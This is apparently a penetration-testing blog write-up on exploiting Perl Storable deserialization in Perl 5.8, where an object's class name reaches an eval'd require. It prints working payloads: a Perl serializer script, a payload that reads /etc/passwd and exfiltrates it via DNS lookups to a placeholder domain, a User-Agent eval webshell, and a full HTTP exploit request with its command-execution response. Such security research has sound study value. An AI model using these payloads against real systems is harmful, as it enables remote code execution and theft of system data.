Deserialization in Perl v5.8

During a pentest, I found an application containing a form with a hidden parameter named "state". Encoded as Base64, it contains a few strings and some binary data:

$ echo 'BAcIMTIzNDU2NzgECAgIAwMAAAAEAwAAAAAGAAAAcGFyYW1zCIIEAAAAc3RlcAQDAQAAAAiAHgAAAF9fZ2V0X3dvcmtmbG93X2J1c2luZXNzX3BhcmFtcwQAAABkYXRh' | base64 -d | hd 00000000 04 07 08 31 32 33 34 35 36 37 38 04 08 08 08 03 |...12345678.....| 00000010 03 00 00 00 04 03 00 00 00 00 06 00 00 00 70 61 |..............pa| 00000020 72 61 6d 73 08 82 04 00 00 00 73 74 65 70 04 03 |rams......step..| 00000030 01 00 00 00 08 80 1e 00 00 00 5f 5f 67 65 74 5f |..........__get_| 00000040 77 6f 72 6b 66 6c 6f 77 5f 62 75 73 69 6e 65 73 |workflow_busines| 00000050 73 5f 70 61 72 61 6d 73 04 00 00 00 64 61 74 61 |s_params....data|

I launched a "Character frobber" attack using the Intruder tool from Burp Suite, in order to slightly corrupt this interesting parameter. The result was more than interesting:

So the target is using Perl and v2.7 of the Storable format. A quick online search revealed that Storable is a Perl module used for data serialization. A big security warning in the official documentation states the following:

Some features of Storable can lead to security vulnerabilities if you accept Storable documents from untrusted sources. Most obviously, the optional (off by default) CODE reference serialization feature allows transfer of code to the deserializing process. Furthermore, any serialized object will cause Storable to helpfully load the module corresponding to the class of the object in the deserializing module. For manipulated module names, this can load almost arbitrary code. Finally, the deserialized object's destructors will be invoked when the objects get destroyed in the deserializing process. Maliciously crafted Storable documents may put such objects in the value of a hash key that is overridden by another key/value pair in the same hash, thus causing immediate destructor execution.

Looking around for previous publications on this subject, I came along a video named Weaponizing Perl Serialization Flaws with MetaSploit. As a bonus, the author published all the code related to his talk on GitHub. And Metasploit includes the exploit itself. So we have a known-to-be-vulnerable technology, a detailled explanantion of the weaponization process and some exploits working on a different target. Should not be too hard :-D But after some testing, I realized that I was unable to map my experimentations to the process described in the video :-( Anyway... after finding that Storable uses by default an architecture-dependant format and that nfreeze() should be use for cross-platform serialization, I came up with the following code:

#!/usr/bin/perl use MIME::Base64 qw( encode_base64 ); use Storable qw( nfreeze ); { package foobar; sub STORABLE_freeze { return 1; } } # Serialize the data my $data = bless { ignore => 'this' }, 'foobar'; my $frozen = nfreeze($data); # Encode as Base64+URL and display $frozen = encode_base64($frozen, ''); $frozen =~ s/\+/%2B/g; $frozen =~ s/=/%3D/g; print "$frozen

";

Producing the following interesting error:

No STORABLE_thaw defined for objects of class foobar (even after a " require foobar; ") at ../../lib/Storable.pm (autosplit into ../../lib/auto/Storable/thaw.al) line 366, at /var/www/cgi-bin/victim line 29 For help, please send mail to the webmaster (support@bigcorp.tld), giving this error message and the time and date of the error.

It looks like the string "foobar" (under my control) is used in a "require" statement! So maybe that a single ";" would be enough to inject arbitrary Perl code :-D I rushed to the source code to confirm this behavior, but was quite disappointed after looking at Storable.xs:

if (!Gv_AMG(stash)) { const char *package = HvNAME_get(stash); TRACEME(("No overloading defined for package %s", package)); TRACEME(("Going to load module '%s'", package)); load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv); if (!Gv_AMG(stash)) { CROAK(("Cannot restore overloading on %s(0x%"UVxf") (package %s) (even after a \" require %s; \")", sv_reftype(sv, FALSE), PTR2UV(sv), package, package)); } }

Despite was the error message says, there's no "require" but only a call to load_module(), as described in the video at 00:11:20 :-( But I tried anyway and patched the name of the serialized object to "POSIX;sleep(5)":

$ echo 'BQgTAg5QT1NJWDtzbGVlcCg1KQEx' | base64 -d | hd 00000000 05 08 13 02 0e 50 4f 53 49 58 3b 73 6c 65 65 70 |.....POSIX;sleep| 00000010 28 35 29 01 31 |(5).1|

And to my surprise, I got a delayed response when submitting it. What?!?! I went back to the source-code of the Storable module and noticed, some time later, the following change (when diffing Storable.xs v2.15 and v2.51):

4295,4298c4387,4388 < TRACEME(("Going to require module '%s' with '%s'", classname, SvPVX(psv))); < < perl_eval_sv(psv, G_DISCARD); < sv_free(psv); --- > TRACEME(("Going to load module '%s'", classname)); > load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);

That would explain the error message! At some point, the object name was directly passed to a require statement evaluated via perl_eval_sv(). And my target was running a version of Perl old enough to be impacted :-D In fact, every version of Perl >= 5.10 uses the new loading mechanism and some old distributions (like RHEL/CentOS 5) are still running Perl v5.8. So I simply need to put my payload in the object name, after loading any default module like "POSIX". 252 bytes (the maximum length of an object name) is more than enough to insert a decent payload. For example, reading /etc/passwd and exfiltrating its content via DNS by chunks of 45 characters (189 bytes). Very useful when the target doesn't have any direct outbound connectivity or forbid to execute some binaries:

Socket;use MIME::Base64;sub x{$z=shift;for($i=0;$i<length($z);$i+=45){$x=encode_base64(substr($z,$i,$i+45),'');gethostbyname($x.".dom.tld");}} open(f,"/etc/passwd");while(<f>){x($_)}

Or, much shorter and powerful: pass some Perl code in the User-Agent HTTP header, eval it server-side then exit (39 bytes):

POSIX;eval($ENV{HTTP_USER_AGENT});exit;

In this specific scenario of a "dumb" CGI (without mod_perl, Catalyst, Mojolicious, ...) using fatalsToBrowser from CGI::Carp, stdout and stderr will be redirected to the browser. So we can have a real webshell:

POST /cgi-bin/victim HTTP/1.1 Host: 192.168.2.103 User-Agent: system("id;uname -a;cat /etc/*release*"); Content-Type: application/x-www-form-urlencoded Content-Length: 367 key=xs&state=BQgTAvxQT1NJWDtldmFsKCRFTlZ7SFRUUF9VU0VSX0FHRU5UfSk7ZXhpdDs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsBMQ%3D%3D

And the response:

HTTP/1.1 200 OK Date: Sat, 06 Feb 2016 16:51:09 GMT Server: Apache/2.2.3 (CentOS) Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 281 <html><head><title>Validation workflow</title></head><body> <br/> uid=48(apache) gid=48(apache) groups=48(apache) context=root:system_r:httpd_sys_script_t:s0 Linux perlthaw 2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux CentOS release 5.11 (Final)

Or, if you prefer a Burp Suite screenshot:

PWNED! Feel free to play with the following files: the vulnerable programm victim and the exploit itself PoC_thaw_perl58.pl. Please keep in mind that the exploitation path will be different on Perl > 5.8